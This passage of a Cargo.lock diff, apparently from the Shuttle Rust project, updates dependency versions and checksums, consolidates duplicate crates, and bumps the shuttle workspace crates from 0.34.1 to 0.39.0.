"1a87aa2bb7d2af34197c04845522473242e1aa17c12f4935d5856491a7fb8c97" dependencies = [ "cesu8", - "cfg-if 1.0.0", + "cfg-if", "combine", "jni-sys", "log", @@ -3697,22 +3721,23 @@ dependencies = [ [[package]] name = "js-sys" -version = "0.3.65" +version = "0.3.66" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "54c0c35952f67de54bb584e9fd912b3023117cbafc0a77d8f3dee1fb5f572fe8" +checksum = "cee9c64da59eae3b50095c18d3e74f8b73c0b86d2792824ff01bbce68ba229ca" dependencies = [ "wasm-bindgen", ] [[package]] name = "jsonwebtoken" -version = "9.1.0" +version = "9.2.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "155c4d7e39ad04c172c5e3a99c434ea3b4a7ba7960b38ecd562b270b097cce09" +checksum = "5c7ea04a7c5c055c175f189b6dc6ba036fd62306b58c66c9f6389036c503a3f4" dependencies = [ "base64 0.21.5", + "js-sys", "pem 3.0.2", - "ring 0.17.5", + "ring 0.17.7", "serde", "serde_json", "simple_asn1", @@ -3750,9 +3775,9 @@ checksum = "89d92a4743f9a61002fae18374ed11e7973f530cb3a3255fb354818118b2203c" [[package]] name = "libgit2-sys" -version = "0.16.1+1.7.1" +version = "0.16.2+1.7.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f2a2bb3680b094add03bb3732ec520ece34da31a8cd2d633d1389d0f0fb60d0c" +checksum = "ee4126d8b4ee5c9d9ea891dd875cfdc1e9d0950437179104b183d7d8a74d24e8" dependencies = [ "cc", "libc", @@ -3779,9 +3804,9 @@ dependencies = [ [[package]] name = "libsqlite3-sys" -version = "0.26.0" +version = "0.27.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "afc22eff61b133b115c6e8c74e818c628d6d5e7a502afea6f64dee076dd94326" +checksum = "cf4e226dcd58b4be396f7bd3c20da8fdee2911400705297ba7d2d7cc2c30f716" dependencies = [ "cc", "pkg-config", @@ -3808,9 +3833,9 @@ checksum = "0717cef1bc8b636c6e1c1bbdefc09e6322da8a9321966e8928ef80d20f7f770f" [[package]] name = "linux-raw-sys" -version = "0.4.11" +version = "0.4.12" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "969488b55f8ac402214f3f5fd243ebb7206cf82de60d3172994707a4bcc2b829" +checksum = "c4cd1a83af159aa67994778be9070f0ae1bd732942279cabb14f86f986a21456" [[package]] name = "lock_api" @@ -3905,8 +3930,8 @@ version = "0.10.6" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "d89e7ee0cfbedfc4da3340218492196241d89eefb6dab27de5df917a6d2e78cf" dependencies = [ - "cfg-if 1.0.0", - "digest 0.10.7", + "cfg-if", + "digest", ] [[package]] @@ -3934,6 +3959,15 @@ dependencies = [ ] [[package]] +name = "memmap2" +version = "0.9.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "deaba38d7abf1d4cca21cc89e932e542ba2b9258664d2a9ef0e61512039c9375" +dependencies = [ + "libc", +] + +[[package]] name = "memoffset" version = "0.6.5" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -3984,9 +4018,9 @@ dependencies = [ [[package]] name = "mio" -version = "0.8.9" +version = "0.8.10" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "3dce281c5e46beae905d4de1870d8b1509a9142b62eedf18b443b011ca8343d0" +checksum = "8f3d0b296e374a4e6f3c7b0a1f5a51d748a0d34c85e7dc48fc3fa9a87657fe09" dependencies = [ "libc", "log", @@ -4012,7 +4046,7 @@ dependencies = [ "futures-io", "futures-util", "hex", - "hmac 0.12.1", + "hmac", "lazy_static", "md-5", "pbkdf2", @@ -4025,7 +4059,7 @@ dependencies = [ "serde_bytes", "serde_with 1.14.0", "sha-1", - "sha2 0.10.8", + "sha2", "socket2 0.4.10", "stringprep", "strsim", @@ -4038,7 +4072,7 @@ dependencies = [ "trust-dns-resolver 0.21.2", "typed-builder", "uuid", - "webpki-roots 0.25.2", + "webpki-roots", ] [[package]] @@ -4068,13 +4102,24 @@ checksum = "f346ff70e7dbfd675fe90590b92d59ef2de15a8779ae305ebcbfd3f0caf59be4" dependencies = [ "autocfg", "bitflags 1.3.2", - "cfg-if 1.0.0", + "cfg-if", "libc", "memoffset 0.6.5", "pin-utils", ] [[package]] +name = "nix" +version = "0.27.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2eb04e9c688eff1c89d72b407f168cf79bb9e867a9d3323ed6c01519eb9cc053" +dependencies = [ + "bitflags 2.4.1", + "cfg-if", + "libc", +] + +[[package]] name = "nom" version = "7.1.3" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -4194,7 +4239,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "9cf5f9dd3933bd50a9e1f149ec995f39ae2c496d31fd772c1fd45ebc27e902b0" dependencies = [ "crc32fast", - "hashbrown 0.14.2", + "hashbrown 0.14.3", "indexmap 2.1.0", "memchr", ] @@ -4210,15 +4255,9 @@ dependencies = [ [[package]] name = "once_cell" -version = "1.18.0" +version = "1.19.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "dd8b5dd2ae5ed71462c540258bedcb51965123ad7e7ccf4b9a8cafaa4a63576d" - -[[package]] -name = "opaque-debug" -version = "0.3.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "624a8340c38c1b80fd549087862da4ba43e08858af025b236e509b6649fc13d5" +checksum = "3fdb12b2476b595f9358c5161aa467c2438859caa136dec86c26fdd2efe17b92" [[package]] name = "openssl-probe" @@ -4228,6 +4267,22 @@ checksum = "ff011a302c396a5197692431fc1948019154afc178baf7d8e37367442a4601cf" [[package]] name = "opentelemetry" +version = "0.12.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "514d24875c140ed269eecc2d1b56d7b71b573716922a763c317fb1b1b4b58f15" +dependencies = [ + "async-trait", + "futures", + "js-sys", + "lazy_static", + "percent-encoding", + "pin-project", + "rand 0.8.5", + "thiserror", +] + +[[package]] +name = "opentelemetry" version = "0.21.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "1e32339a5dc40459130b3bd269e9892439f55b33e772d2a9d402a789baaf4e8a" @@ -4243,6 +4298,48 @@ dependencies = [ ] [[package]] +name = "opentelemetry-appender-tracing" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "12c4bd073648dae8ac45cfc81588d74b3dc5f334119ac08567ddcbfe16f2d809" +dependencies = [ + "once_cell", + "opentelemetry 0.21.0", + "opentelemetry_sdk", + "tracing", + "tracing-core", + "tracing-subscriber", +] + +[[package]] +name = "opentelemetry-contrib" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7e448fc8ad3687b1dd9073087941834f54093624c015a7fbd1f1efc5a38a7737" +dependencies = [ + "async-trait", + "http 0.2.11", + "indexmap 1.9.3", + "lazy_static", + "opentelemetry 0.12.0", + "opentelemetry-http 0.1.0", + "rmp", + "thiserror", +] + +[[package]] +name = "opentelemetry-http" +version = "0.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "69a853d37ac1c02889211517007a99b2a90d3d7e89526f9af037ada84f1326a1" +dependencies = [ + "async-trait", + "http 0.2.11", + "opentelemetry 0.12.0", + "thiserror", +] + +[[package]] name = "opentelemetry-http" version = "0.10.0" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -4250,8 +4347,8 @@ checksum = "7f51189ce8be654f9b5f7e70e49967ed894e84a06fc35c6c042e64ac1fc5399e" dependencies = [ "async-trait", "bytes", - "http", - "opentelemetry", + "http 0.2.11", + "opentelemetry 0.21.0", ] [[package]] @@ -4262,8 +4359,8 @@ checksum = "f24cda83b20ed2433c68241f918d0f6fdec8b1d43b7a9590ab4420c5095ca930" dependencies = [ "async-trait", "futures-core", - "http", - "opentelemetry", + "http 0.2.11", + "opentelemetry 0.21.0", "opentelemetry-proto", "opentelemetry-semantic-conventions", "opentelemetry_sdk", @@ -4279,7 +4376,7 @@ version = "0.4.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "a2e155ce5cc812ea3d1dffbd1539aed653de4bf4882d60e6e04dcf0901d674e1" dependencies = [ - "opentelemetry", + "opentelemetry 0.21.0", "opentelemetry_sdk", "prost 0.11.9", "tonic 0.9.2", @@ -4291,7 +4388,7 @@ version = "0.13.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "f5774f1ef1f982ef2a447f6ee04ec383981a3ab99c8e77a1a7b30182e65bbc84" dependencies = [ - "opentelemetry", + "opentelemetry 0.21.0", ] [[package]] @@ -4307,10 +4404,11 @@ dependencies = [ "futures-util", "glob", "once_cell", - "opentelemetry", + "opentelemetry 0.21.0", "ordered-float", "percent-encoding", "rand 0.8.5", + "serde_json", "thiserror", "tokio", "tokio-stream", @@ -4324,9 +4422,9 @@ checksum = "04744f49eae99ab78e0d5c0b603ab218f515ea8cfe5a456d7629ad883a3b6e7d" [[package]] name = "ordered-float" -version = "4.1.1" +version = "4.2.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "536900a8093134cf9ccf00a27deb3532421099e958d9dd431135d0c7543ca1e8" +checksum = "a76df7075c7d4d01fdcb46c912dd17fba5b60c78ea480b475f2b6ab6f666584e" dependencies = [ "num-traits", ] @@ -4386,7 +4484,7 @@ version = "0.8.6" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "60a2cfe6f0ad2bfc16aefa463b497d5c7a5ecd44a23efa72aa342d90177356dc" dependencies = [ - "cfg-if 1.0.0", + "cfg-if", "instant", "libc", "redox_syscall 0.2.16", @@ -4400,7 +4498,7 @@ version = "0.9.9" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "4c42a9226546d68acdd9c0a280d17ce19bfe27a46bf68784e4066115788d008e" dependencies = [ - "cfg-if 1.0.0", + "cfg-if", "libc", "redox_syscall 0.4.1", "smallvec", @@ -4419,7 +4517,7 @@ version = "0.11.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "83a0692ec44e4cf1ef28ca317f14f8f07da2d95ec3fa01f86e4467b725e60917" dependencies = [ - "digest 0.10.7", + "digest", ] [[package]] @@ -4462,9 +4560,9 @@ dependencies = [ [[package]] name = "percent-encoding" -version = "2.3.0" +version = "2.3.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "9b2a4787296e9989611394c33f193f676704af1686e70b8f8033ab5ba9a35a94" +checksum = "e3148f5046208a5d56bcfc03053e3ca6334e51da8dfb19b6cdc8b306fae3283e" [[package]] name = "pin-project" @@ -4527,9 +4625,9 @@ checksum = "26072860ba924cbfa98ea39c8c19b4dd6a4a25423dbdf219c1eca91aa0cf6964" [[package]] name = "portable-atomic" -version = "1.5.1" +version = "1.6.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "3bccab0e7fd7cc19f820a1c8c91720af652d0c88dc9664dd72aef2614f04af3b" +checksum = "7170ef9988bc169ba16dd36a7fa041e5c4cbeb6a35b76d4c03daded371eae7c0" [[package]] name = "portpicker" @@ -4541,6 +4639,17 @@ dependencies = [ ] [[package]] +name = "posthog-core" +version = "0.1.0" +source = "git+https://github.com/shuttle-hq/posthog-rs?branch=main#4a8299fde3080bff550620c0853be9b83fee8f44" +dependencies = [ + "chrono", + "serde", + "serde_json", + "thiserror", +] + +[[package]] name = "powerfmt" version = "0.2.0" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -4616,9 +4725,9 @@ dependencies = [ [[package]] name = "proc-macro2" -version = "1.0.69" +version = "1.0.70" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "134c189feb4956b20f6f547d2cf727d4c0fe06722b20a0eec87ed445a97f92da" +checksum = "39278fbbf5fb4f646ce651690877f89d1c5811a3d4acb27700c1cb3cdb78fd3b" dependencies = [ "unicode-ident", ] @@ -4661,12 +4770,12 @@ dependencies = [ [[package]] name = "prost" -version = "0.12.2" +version = "0.12.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5a5a410fc7882af66deb8d01d01737353cf3ad6204c408177ba494291a626312" +checksum = "146c289cda302b98a28d40c8b3b90498d6e526dd24ac2ecea73e4e491685b94a" dependencies = [ "bytes", - "prost-derive 0.12.2", + "prost-derive 0.12.3", ] [[package]] @@ -4684,9 +4793,9 @@ dependencies = [ [[package]] name = "prost-derive" -version = "0.12.2" +version = "0.12.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "065717a5dfaca4a83d2fe57db3487b311365200000551d7a364e715dbf4346bc" +checksum = "efb6c9a1dd1def8e2124d17e83a20af56f1570d6c2d2bd9e266ccb768df3840e" dependencies = [ "anyhow", "itertools 0.11.0", @@ -4697,11 +4806,11 @@ dependencies = [ [[package]] name = "prost-types" -version = "0.12.2" +version = "0.12.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "8339f32236f590281e2f6368276441394fcd1b2133b549cc895d0ae80f2f9a52" +checksum = "193898f59edcf43c26227dcd4c8427f00d99d61e95dcde58dabd49fa291d470e" dependencies = [ - "prost 0.12.2", + "prost 0.12.3", ] [[package]] @@ -4880,15 +4989,6 @@ dependencies = [ [[package]] name = "redox_syscall" -version = "0.3.5" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "567664f262709473930a4bf9e51bf2ebf3348f2e748ccc50dea20646858f8f29" -dependencies = [ - "bitflags 1.3.2", -] - -[[package]] -name = "redox_syscall" version = "0.4.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "4722d768eff46b75989dd134e5c353f0d6296e5aaa3132e776cbdb56be7731aa" @@ -4975,10 +5075,10 @@ dependencies = [ "encoding_rs", "futures-core", "futures-util", - "h2", - "http", - "http-body", - "hyper", + "h2 0.3.24", + "http 0.2.11", + "http-body 0.4.5", + "hyper 0.14.27", "hyper-rustls", "ipnet", "js-sys", @@ -5002,7 +5102,7 @@ dependencies = [ "wasm-bindgen", "wasm-bindgen-futures", "web-sys", - "webpki-roots 0.25.2", + "webpki-roots", "winreg", ] @@ -5014,7 +5114,7 @@ checksum = "88a3e86aa6053e59030e7ce2d2a3b258dd08fc2d337d52f73f6cb480f5858690" dependencies = [ "anyhow", "async-trait", - "http", + "http 0.2.11", "reqwest", "serde", "task-local-extensions", @@ -5032,8 +5132,8 @@ dependencies = [ "chrono", "futures", "getrandom 0.2.11", - "http", - "hyper", + "http 0.2.11", + "hyper 0.14.27", "parking_lot 0.11.2", "reqwest", "reqwest-middleware", @@ -5055,6 +5155,12 @@ dependencies = [ ] [[package]] +name = "retain_mut" +version = "0.1.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4389f1d5789befaf6029ebd9f7dac4af7f7e3d61b69d4f30e2ac02b57e7712b0" + +[[package]] name = "retry-policies" version = "0.2.1" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -5072,7 +5178,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "01ff60778f96fb5a48adbe421d21bf6578ed58c0872d712e7e08593c195adff8" dependencies = [ "comma", - "nix", + "nix 0.25.1", "regex", "tempfile", "thiserror", @@ -5095,9 +5201,9 @@ dependencies = [ [[package]] name = "ring" -version = "0.17.5" +version = "0.17.7" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "fb0205304757e5d899b9c2e448b867ffd03ae7f988002e47cd24954391394d0b" +checksum = "688c63d65483050968b2a8937f7995f443e27041a0f7700aa59b0822aedebb74" dependencies = [ "cc", "getrandom 0.2.11", @@ -5130,13 +5236,19 @@ dependencies = [ ] [[package]] +name = "roff" +version = "0.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b833d8d034ea094b1ea68aa6d5c740e0d04bad9d16568d08ba6f76823a114316" + +[[package]] name = "rsa" -version = "0.9.3" +version = "0.9.6" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "86ef35bf3e7fe15a53c4ab08a998e42271eab13eb0db224126bc7bc4c4bad96d" +checksum = "5d0e5124fcb30e76a7e79bfee683a2746db83784b86289f6251b54b7950a0dfc" dependencies = [ "const-oid", - "digest 0.10.7", + "digest", "num-bigint-dig", "num-integer", "num-traits", @@ -5150,41 +5262,6 @@ dependencies = [ ] [[package]] -name = "rust-embed" -version = "8.0.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b1e7d90385b59f0a6bf3d3b757f3ca4ece2048265d70db20a2016043d4509a40" -dependencies = [ - "rust-embed-impl", - "rust-embed-utils", - "walkdir", -] - -[[package]] -name = "rust-embed-impl" -version = "8.0.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "3c3d8c6fd84090ae348e63a84336b112b5c3918b3bf0493a581f7bd8ee623c29" -dependencies = [ - "proc-macro2", - "quote", - "rust-embed-utils", - "shellexpand", - "syn 2.0.39", - "walkdir", -] - -[[package]] -name = "rust-embed-utils" -version = "8.0.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "873feff8cb7bf86fdf0a71bb21c95159f4e4a37dd7a4bd1855a940909b583ada" -dependencies = [ - "sha2 0.10.8", - "walkdir", -] - -[[package]] name = "rustc-demangle" version = "0.1.23" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -5235,9 +5312,9 @@ dependencies = [ [[package]] name = "rustix" -version = "0.38.25" +version = "0.38.26" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "dc99bc2d4f1fed22595588a013687477aedf3cdcfb26558c559edb67b4d9b22e" +checksum = "9470c4bf8246c8daf25f9598dca807fb6510347b1e1cfa55749113850c79d88a" dependencies = [ "bitflags 2.4.1", "errno", @@ -5245,7 +5322,7 @@ dependencies = [ "libc", "linux-raw-sys", "once_cell", - "windows-sys 0.48.0", + "windows-sys 0.52.0", ] [[package]] @@ -5255,7 +5332,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "629648aced5775d558af50b2b4c7b02983a04b312126d45eeead26e7caa498b9" dependencies = [ "log", - "ring 0.17.5", + "ring 0.17.7", "rustls-webpki", "sct", ] @@ -5287,7 +5364,7 @@ version = "0.101.7" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "8b6275d1ee7a1cd780b64aca7726599a1dbc893b1e64144529e55c3c2f745765" dependencies = [ - "ring 0.17.5", + "ring 0.17.7", "untrusted 0.9.0", ] @@ -5297,7 +5374,7 @@ version = "0.7.12" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "cfe3300a40b60e76a856237ad1fe2210da1f40686705a2211688bb5742109a63" dependencies = [ - "arrayvec 0.7.4", + "arrayvec", "bitflags 1.3.2", "doc-comment", "finl_unicode", @@ -5362,7 +5439,7 @@ version = "0.7.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "da046153aa2352493d6cb7da4b6e5c0c057d8a1d0a9aa8560baffdd945acd414" dependencies = [ - "ring 0.17.5", + "ring 0.17.7", "untrusted 0.9.0", ] @@ -5415,9 +5492,9 @@ checksum = "388a1df253eca08550bef6c72392cfe7c30914bf41df5269b68cbd6ff8f570a3" [[package]] name = "serde" -version = "1.0.192" +version = "1.0.193" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "bca2a08484b285dcb282d0f67b26cadc0df8b19f8c12502c13d966bf9482f001" +checksum = "25dd9975e68d0cb5aa1120c288333fc98731bd1dd12f561e468ea4728c042b89" dependencies = [ "serde_derive", ] @@ -5433,9 +5510,9 @@ dependencies = [ [[package]] name = "serde_derive" -version = "1.0.192" +version = "1.0.193" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d6c7207fbec9faa48073f3e3074cbe553af6ea512d7c21ba46e434e70ea9fbc1" +checksum = "43576ca501357b9b071ac53cdc7da8ef0cbd9493d8df094cd821777ea6e894d3" dependencies = [ "proc-macro2", "quote", @@ -5562,9 +5639,9 @@ version = "0.10.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "f5058ada175748e33390e40e872bd0fe59a19f265d0158daa551c5a88a76009c" dependencies = [ - "cfg-if 1.0.0", + "cfg-if", "cpufeatures", - "digest 0.10.7", + "digest", ] [[package]] @@ -5573,9 +5650,9 @@ version = "0.10.6" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "e3bf829a2d51ab4a5ddf1352d8470c140cadc8301b2ae1789db023f01cedd6ba" dependencies = [ - "cfg-if 1.0.0", + "cfg-if", "cpufeatures", - "digest 0.10.7", + "digest", ] [[package]] @@ -5586,26 +5663,13 @@ checksum = "ae1a47186c03a32177042e55dbc5fd5aee900b8e0069a8d70fba96a9375cd012" [[package]] name = "sha2" -version = "0.9.9" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "4d58a1e1bf39749807d89cf2d98ac2dfa0ff1cb3faa38fbb64dd88ac8013d800" -dependencies = [ - "block-buffer 0.9.0", - "cfg-if 1.0.0", - "cpufeatures", - "digest 0.9.0", - "opaque-debug", -] - -[[package]] -name = "sha2" version = "0.10.8" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "793db75ad2bcafc3ffa7c68b215fee268f537982cd901d132f89c6343f3a3dc8" dependencies = [ - "cfg-if 1.0.0", + "cfg-if", "cpufeatures", - "digest 0.10.7", + "digest", ] [[package]] @@ -5634,7 +5698,7 @@ dependencies = [ [[package]] name = "shuttle-admin" -version = "0.34.1" +version = "0.39.0" dependencies = [ "anyhow", "clap", @@ -5651,40 +5715,43 @@ dependencies = [ [[package]] name = "shuttle-auth" -version = "0.34.1" +version = "0.39.0" dependencies = [ "anyhow", "async-stripe", "async-trait", "axum", "axum-extra", - "axum-sessions", "base64 0.21.5", + "chrono", "clap", - "http", - "hyper", + "ctor", + "http 0.2.11", + "hyper 0.14.27", "jsonwebtoken", - "opentelemetry", + "once_cell", + "opentelemetry 0.21.0", "pem 2.0.1", "portpicker", - "rand 0.8.5", - "ring 0.17.5", + "pretty_assertions", + "ring 0.17.7", "serde", "serde_json", "shuttle-common", + "shuttle-common-tests", "sqlx", - "strum 0.25.0", "thiserror", "tokio", "tower", "tracing", "tracing-opentelemetry", "tracing-subscriber", + "wiremock", ] [[package]] name = "shuttle-builder" -version = "0.34.1" +version = "0.39.0" dependencies = [ "async-trait", "clap", @@ -5710,7 +5777,7 @@ dependencies = [ [[package]] name = "shuttle-codegen" -version = "0.34.1" +version = "0.39.0" dependencies = [ "pretty_assertions", "proc-macro-error", @@ -5727,7 +5794,7 @@ dependencies = [ [[package]] name = "shuttle-common" -version = "0.34.1" +version = "0.39.0" dependencies = [ "anyhow", "async-trait", @@ -5738,21 +5805,22 @@ dependencies = [ "comfy-table", "crossterm 0.27.0", "headers", - "http", - "http-body", + "http 0.2.11", + "http-body 0.4.5", "http-serde", - "hyper", + "hyper 0.14.27", "jsonwebtoken", "once_cell", - "opentelemetry", - "opentelemetry-http", + "opentelemetry 0.21.0", + "opentelemetry-appender-tracing", + "opentelemetry-http 0.10.0", "opentelemetry-otlp", "opentelemetry_sdk", "pin-project", "proptest", "rand 0.8.5", "reqwest", - "ring 0.17.5", + "ring 0.17.7", "rmp-serde", "rustrict", "semver 1.0.20", @@ -5760,60 +5828,60 @@ dependencies = [ "serde_json", "sqlx", "strum 0.25.0", + "test-context", "thiserror", "tokio", "tonic 0.10.2", "tower", "tower-http 0.4.4", "tracing", + "tracing-core", "tracing-fluent-assertions", "tracing-opentelemetry", "tracing-subscriber", "ttl_cache", "url", - "utoipa", "uuid", + "wiremock", "zeroize", ] [[package]] name = "shuttle-common-tests" -version = "0.34.1" +version = "0.39.0" dependencies = [ "cargo-shuttle", - "hyper", + "hyper 0.14.27", "portpicker", "reqwest", + "serde", "shuttle-common", "shuttle-proto", "tokio", "tokio-stream", "tonic 0.10.2", "tower", + "uuid", ] [[package]] name = "shuttle-deployer" -version = "0.34.1" +version = "0.39.0" dependencies = [ "anyhow", "async-trait", "axum", - "bytes", "cargo_metadata 0.18.1", "chrono", "clap", "ctor", "flate2", - "fqdn", - "futures", "hex", "home", - "hyper", + "hyper 0.14.27", "hyper-reverse-proxy", "once_cell", - "opentelemetry", - "opentelemetry-http", + "opentelemetry 0.21.0", "portpicker", "prost-types", "rand 0.8.5", @@ -5834,21 +5902,19 @@ dependencies = [ "toml 0.8.8", "tonic 0.10.2", "tower", - "tower-http 0.4.4", "tracing", "tracing-opentelemetry", "tracing-subscriber", "ulid", - "utoipa", - "utoipa-swagger-ui", "uuid", ] [[package]] name = "shuttle-gateway" -version = "0.34.1" +version = "0.39.0" dependencies = [ "anyhow", + "async-posthog", "async-trait", "axum", "axum-server", @@ -5859,23 +5925,24 @@ dependencies = [ "flate2", "fqdn", "futures", - "http", - "hyper", + "http 0.2.11", + "hyper 0.14.27", "hyper-reverse-proxy", "instant-acme", "jsonwebtoken", "lazy_static", "num_cpus", "once_cell", - "opentelemetry", - "opentelemetry-http", + "opentelemetry 0.21.0", + "opentelemetry-contrib", + "opentelemetry-http 0.10.0", "pem 1.1.1", "pin-project", "portpicker", "rand 0.8.5", "rcgen", "reqwest", - "ring 0.17.5", + "ring 0.17.7", "rmp-serde", "rustls", "rustls-pemfile", @@ -5901,15 +5968,13 @@ dependencies = [ "tracing-subscriber", "ttl_cache", "ulid", - "utoipa", - "utoipa-swagger-ui", "uuid", "x509-parser", ] [[package]] name = "shuttle-logger" -version = "0.34.1" +version = "0.39.0" dependencies = [ "async-trait", "chrono", @@ -5930,32 +5995,36 @@ dependencies = [ "tonic 0.10.2", "tracing", "tracing-subscriber", - "uuid", ] [[package]] name = "shuttle-orchestrator" -version = "0.34.1" +version = "0.39.0" [[package]] name = "shuttle-proto" -version = "0.34.1" +version = "0.39.0" dependencies = [ "anyhow", + "async-trait", "chrono", "futures-core", - "prost 0.12.2", + "http 0.2.11", + "portpicker", + "prost 0.12.3", "prost-types", "serde_json", "shuttle-common", + "test-context", "tokio", "tonic 0.10.2", + "tower", "tracing", ] [[package]] name = "shuttle-provisioner" -version = "0.34.1" +version = "0.39.0" dependencies = [ "aws-config", "aws-sdk-rds", @@ -5965,10 +6034,11 @@ dependencies = [ "mongodb", "once_cell", "portpicker", - "prost 0.12.2", + "prost 0.12.3", "rand 0.8.5", "serde_json", "shuttle-common", + "shuttle-common-tests", "shuttle-proto", "sqlx", "thiserror", @@ -5980,7 +6050,7 @@ dependencies = [ [[package]] name = "shuttle-resource-recorder" -version = "0.34.1" +version = "0.39.0" dependencies = [ "async-trait", "chrono", @@ -6004,7 +6074,7 @@ dependencies = [ [[package]] name = "shuttle-runtime" -version = "0.34.1" +version = "0.39.0" dependencies = [ "anyhow", "async-trait", @@ -6012,7 +6082,7 @@ dependencies = [ "chrono", "colored", "futures", - "hyper", + "hyper 0.14.27", "portpicker", "prost-types", "rmp-serde", @@ -6027,7 +6097,6 @@ dependencies = [ "tokio", "tokio-stream", "tonic 0.10.2", - "tower", "tracing-subscriber", "uuid", "wasi-common", @@ -6037,7 +6106,7 @@ dependencies = [ [[package]] name = "shuttle-service" -version = "0.34.1" +version = "0.39.0" dependencies = [ "anyhow", "async-trait", @@ -6050,7 +6119,6 @@ dependencies = [ "thiserror", "tokio", "toml 0.8.8", - "tower", "tracing", ] @@ -6090,7 +6158,7 @@ version = "2.2.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "77549399552de45a898a580c1b41d445bf730df867cc44e6c0233bbc4b8329de" dependencies = [ - "digest 0.10.7", + "digest", "rand_core 0.6.4", ] @@ -6194,9 +6262,9 @@ dependencies = [ [[package]] name = "spki" -version = "0.7.2" +version = "0.7.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "9d1e996ef02c474957d681f1b05213dfb0abab947b446a62d37770b23500184a" +checksum = "d91ed6c858b01f942cd56b37a94b3e0a1798290327d1236e4d9cf4eaca44d29d" dependencies = [ "base64ct", "der", @@ -6210,20 +6278,20 @@ checksum = "3b9b39299b249ad65f3b7e96443bad61c02ca5cd3589f46cb6d610a0fd6c0d6a" [[package]] name = "sqlformat" -version = "0.2.2" +version = "0.2.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "6b7b278788e7be4d0d29c0f39497a0eef3fba6bbc8e70d8bf7fde46edeaa9e85" +checksum = "ce81b7bd7c4493975347ef60d8c7e8b742d4694f4c49f93e0a12ea263938176c" dependencies = [ - "itertools 0.11.0", + "itertools 0.12.0", "nom", "unicode_categories", ] [[package]] name = "sqlx" -version = "0.7.2" +version = "0.7.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "0e50c216e3624ec8e7ecd14c6a6a6370aad6ee5d8cfc3ab30b5162eeeef2ed33" +checksum = "dba03c279da73694ef99763320dea58b51095dfe87d001b1d4b5fe78ba8763cf" dependencies = [ "sqlx-core", "sqlx-macros", @@ -6234,9 +6302,9 @@ dependencies = [ [[package]] name = "sqlx-core" -version = "0.7.2" +version = "0.7.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "8d6753e460c998bbd4cd8c6f0ed9a64346fcca0723d6e75e52fdc351c5d2169d" +checksum = "d84b0a3c3739e220d94b3239fd69fb1f74bc36e16643423bd99de3b43c21bfbd" dependencies = [ "ahash", "atoi", @@ -6265,7 +6333,7 @@ dependencies = [ "rustls-pemfile", "serde", "serde_json", - "sha2 0.10.8", + "sha2", "smallvec", "sqlformat", "thiserror", @@ -6274,14 +6342,14 @@ dependencies = [ "tracing", "url", "uuid", - "webpki-roots 0.24.0", + "webpki-roots", ] [[package]] name = "sqlx-macros" -version = "0.7.2" +version = "0.7.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "9a793bb3ba331ec8359c1853bd39eed32cdd7baaf22c35ccf5c92a7e8d1189ec" +checksum = "89961c00dc4d7dffb7aee214964b065072bff69e36ddb9e2c107541f75e4f2a5" dependencies = [ "proc-macro2", "quote", @@ -6292,10 +6360,11 @@ dependencies = [ [[package]] 